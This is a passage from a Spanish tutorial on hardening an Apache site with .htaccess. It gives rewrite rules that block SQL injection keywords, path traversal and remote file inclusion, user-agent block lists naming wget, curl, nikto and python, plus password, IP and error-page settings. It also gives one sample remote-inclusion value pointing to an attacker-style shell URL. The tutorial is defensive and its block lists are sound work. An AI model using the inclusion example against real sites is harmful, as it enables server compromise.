A veces se pueden conseguir algunos resultados divertidos. El uso del siguiente conjunto
de reglas nos ayudar a filtrar la mayora de estas situaciones:

RewriteCond %{QUERY_STRING}
(;|<|>|||\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|
drop|update|md5|benchmark) [NC,OR]
RewriteCond %{QUERY_STRING} \.\./\.\. [OR]
RewriteCond %{QUERY_STRING} (localhost|loopback|127\.0\.0\.1) [NC,OR]
RewriteCond %{QUERY_STRING} \.[a-z0-9] [NC,OR]
RewriteCond %{QUERY_STRING} (<|>||%0A|%0D|%27|%3C|%3E|%00) [NC]
RewriteRule .* - [F]
Bloqueo de agentes y utilidades de lnea de comandos
Algunas herramientas de bsqueda y explotacin de vulnerabilidades o los conocidos
downloaders poseen agentes particulares y fciles de detectar como: wget, curl, java,
HTTrack, perl, java, etc
Si por ejemplo hacemos en nuestra terminal un:
wget www.miweb.com/index.php
Obtendremos un Peticin HTTP enviada, esperando respuesta... 403 Forbidden siempre y
cuando tengamos este cdigo en nuestro .htacces:

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget) [NC,OR]
RewriteCond %{HTTP_USER_AGENT}
(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (libwww-perl|curl|wget|python|nikto|scan) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (<|>||%0A|%0D|%27|%3C|%3E|%00) [NC]
RewriteRule .* - [F]
Inclusin de archivos remotos (RFI) y compaa
Mediante las tcnicas de XSS o RFI se incluye en nuestra web un script albergado en otra
URL, normalemente una web anfitriona que ya fue atacada previamente, que va a servir
para alterar el comportamiento de nuestra aplicacin y probablemente servir de puerta de
entrada para algn backdoor o shell:
miVariable=http://urlatacante.com/shell.php
Las siguientes reglas nos van ayudar a minimizar este tipo de situaciones o la navegacin
de directorios desde la url:
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]
RewriteRule .* - [F]
Bloqueo de acceso a directorios:
Quizs una de las reglas mas curiosas es simplemente evitar que el usuario pueda acceder
directamente al rbol de directorios directamente desde la url:
RewriteRule ^(cache|includes|logs|tmp)/ - [F]
Gracias a esta sentencia obtendremos un Forbiden si hacemos un:
http://www.miweb.com/cache
Bloquear el acceso a determinados archivos
Una tcnica un poco mas refinada que la anterior. Se basa en la posibilidad de restringir el
acceso directo a ciertos archivos de nuestra web en funcin de su extensin: php, xml, tpl,
etc
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_URI} \.php|\.ini|\.xml [NC]
RewriteCond %{REQUEST_URI} \/library\/ [OR]
RewriteCond %{REQUEST_URI} \/images\/ [OR]
RewriteCond %{REQUEST_URI} \/cache\/
RewriteRule ^(.*)$ index.php [R=404]
As de esta forma si hacemos un:
http://www.miweb.es/library/index.php
http://www.miweb.es/cache/rss.xml
Vamos obtener un 404 Not Found. Fjate que donde antes hacamos [F] de forbiden
ahora con [R=404] arrojamos un 404 o cualquier otro error, una tcnica interesante para
"despistar".
Proteccin por contrasea de direcctorios
Un clsico de la proteccin de directorios con .htaccess es la proteccin mediante
contrasea. Esta tcnica es interesante para reforzar la autenciacin de paneles de control
o formularios de autenticacin.
Para proteger con contrasea un directorio basta con crear un .htaccess en dicho
directorio con el siguiente cdigo
AuthName "Introduce Tus Datos:"
AuthType Basic
AuthUserFile /www/miweb/.htpasswd
AuthGroupFile /dev/null
Require valid-user

En la directiva AuthUserFile deberemos colocar la ruta de nuestro archivo de passwords.
Hay abundante documentacin sobre la creacin de los passwords de htpasswd. Por
ejemplo desde una terminal podemos teclear:
htpasswd -nb usuario contrasea
Nos arrojar el contenido de nuesto archivo de passwords:
usuario:ECiz4oJ8cryR6
El archivo .htpasswd puede denominarse con cualquier otro nombre y debe colocarse
fuera de cualquier ruta pblica, y de ser posible fuera del open_basedir del PHP.
Tienes la documentacin sobre la creacin de passwords para htpasswd.
Proteccin de directorios por IP
El tema de la proteccin con contrasea esta bien, pero es engorroso tener que memorizar
dichas contraseas. Si accedemos siempre a nuestras web desde la misma ubicacin,
quizs sea interesante una proteccin por IP o rango de IP.
Para ello podemos usar por ejemplo:
Deny from all
Allow from 83.165.114.0
Satisfy any
Este ejemplo es vlido si tenemos una ip fija. Sin embargo si lo que nos interesa mas que
proteger un directorio es ofuscarlo para sacarnos de encima un porcentaje amplio de
fisgones, podemos autorizar el acceso para un determinado rango. Podemos ver que IPs
publicas se nos asignan comnmente y abrir nuestro directorio para ese rango, por
ejemplo:
Deny from all
Allow from 83.165
Satisfy any
De esta forma estamos dando acceso a todo el rango 83.165.xxx.xxx
Esta tcnica se puede combinar con la anterior para evitar tener que introducir la
contrasea desde ciertas conexiones:
AuthName Tu panel
AuthType Basic
AuthUserFile /www/miweb/.htpasswd
AuthGroupFile /dev/null
Require valid-user
Deny from all
Allow from 192.168.0
Satisfy any
La directiva Satisfy any nos indica que tenemos que cumplir una de las dos condiciones,
si ussemos Satisfy All debemos cumplir las dos condiciones.
Otro uso bastante interesante de las directivas Allow o Deny es poder limitar el acceso de
usuarios por pas.
En paginas como esta www.ipaddresslocation.org podemos obtener el rango de IPs de un
pas para permitirlo o denegarlo. Esta tcnica sencilla de implementar nos ahorra
bastantes curiosos entre nuestros archivos, ya que la mayora de intrusos provienen del
extranjero.
Al final de esta web teneis un htacces para restringir el acceso slo a visitantes que se
conecten desde Espaa.
Manejo de errores
Administrar correctamente los errores generados por nuestra web es una til tcnica de
ofuscar la estructura de nuestras web. De los errores que arroja una web se puede
aprender mucho, si un directorio existe aunque este prohibido su acceso, si determinado
mtodo esta o no habilitado, etc,... Ocultar, ofuscar, confundir, etc personalizando
nuestros errores mas frecuentes es una divetida tcnica de seguridad.
Por ejemplo con:
ErrorDocument 404 http://www.misitio.com
Redirigiremos al usuario a la pgina principal de nuestro dominio sin dar mas
explicaciones. Sin embargo esta tcnica si la aplicamos en subdirectorios nos puede
servir, sin embargo si la usamos en el root de nuestro sitio, acabar redireccionandose a si
misma, generando un error en el explorador.
Con esto:
ErrorDocument 404 /errores/errorgenerico.php
Redirigiremos al visitante a una pgina, indicando que ha habido un error pero sin decir
cual. Es una forma elegante de solucionar la situacin.
Si no queremos complicarnos tambin se puede solucionar as:
ErrorDocument 404 Ups! Se ha producido un error
ErrorDocument 403 Ups! Se ha producido un error
ErrorDocument 400 Ups! Se ha producido un error
ErrorDocument 406 Ups! Se ha producido un error
ErrorDocument 412 Ups! Se ha producido un error
ErrorDocument 416 Ups! Se ha producido un error
ErrorDocument 501 Ups! Se ha producido un error
ErrorDocument 401 Ups! Se ha producido un error
ErrorDocument 500 Ups! Se ha producido un error
Cuando se produce un error que no hemos controlado, tambin se volcar la firma del
explorador: versin, mdulos, sistema operativo, etc,... esta informacin es igualmente
til para conocer posibles vulnerabilidades del mismo. Dicha situacin se puede evitar con
un simple:
ServerSignature Off
Restringir acceso a determinados archivos
A veces puede ser interesante denegar cualquier acceso a determinados ficheros. Las
directivas Files y FilesMach permiten a travs de expresiones regulares controlar el acceso
a determinados archivos o directorios. Por ejemplo:
<Files ~ "\.old$">
Order allow,deny
Deny from all
Satisfy all
</Files>
Bloquea cualquier acceso a un fichero que termine con la extensin .old
De forma similar:
<FilesMatch "(^|/)_">
Order allow,deny
Deny from all
Satisfy all
</FilesMatch>
Bloquear el acceso a cualquier fichero o directorio que empiece por una barra baja _
Exploracin de directorios.
Hoy en da la mayora de hostings ya lo traen correctamente configurado, pero la
posibilidad de listar el contenido de nuestros directorios, no suele ser una buena opcin
salvo que sea intencionada.
La exploracin de directorios se puede evitar con un simple index.html o index.php por
directorio, pero lo mas elegante es un:
Options -Indexes
Conclusiones
Estas son algunas propuestas, que combinadas de forma oportuna pueden ayudarnos,
quizs no, a blindar nuestra web, sino ms bien a borrar las mximas evidencias posibles
que puedan dar indicios, a los usuarios ms curiosos, de posibles vulnerabilidades en
nuestro sitio.